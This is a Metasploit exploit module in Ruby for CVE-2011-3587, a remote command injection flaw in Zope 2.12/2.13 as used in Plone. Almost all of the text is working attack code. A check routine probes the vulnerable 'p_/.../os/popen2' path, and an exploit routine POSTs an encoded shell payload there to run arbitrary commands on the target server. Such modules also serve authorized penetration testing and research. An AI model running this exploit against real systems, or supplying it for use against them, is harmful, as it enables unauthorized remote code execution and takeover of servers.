Plone and Zope Remote CMD Injection Exploit

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Plone and Zope Remote CMD Injection Exploit',  
'Description' => %q{  
Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x  
through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute  
arbitrary commands via vectors related to the p_ class in OFS/misc_.py and  
the use of Python modules.  
  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Plone Security team', # Vulnerability discovery  
'Nick Miles', # Original exploit  
'TecR0c' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2011-3587'],  
['URL', 'http://www.exploit-db.com/exploits/18262/'],  
['URL', 'http://plone.org/products/plone/security/advisories/20110928']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet perl ruby',  
}  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'Oct 04 2011',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('URI',[true, "The path to the Plone installation", "/"]),  
],self.class)  
register_autofilter_ports([ 8080 ])  
end  
  
def check  
uri = datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'  
  
res = send_request_raw(  
{  
'uri' => uri  
}, 25)  
if (res.headers['Bobo-Exception-Type'] =~ /zExceptions.BadRequest/)  
return Exploit::CheckCode::Vulnerable  
end  
# patched == zExceptions.NotFound  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
uri = datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'  
  
send_request_cgi(  
{  
'method' => 'POST',  
'uri' => uri,  
'vars_post' =>  
{  
'cmd' => payload.encoded,  
}  
}, 0.5) # short timeout, we don't care about the response  
end  
end  
`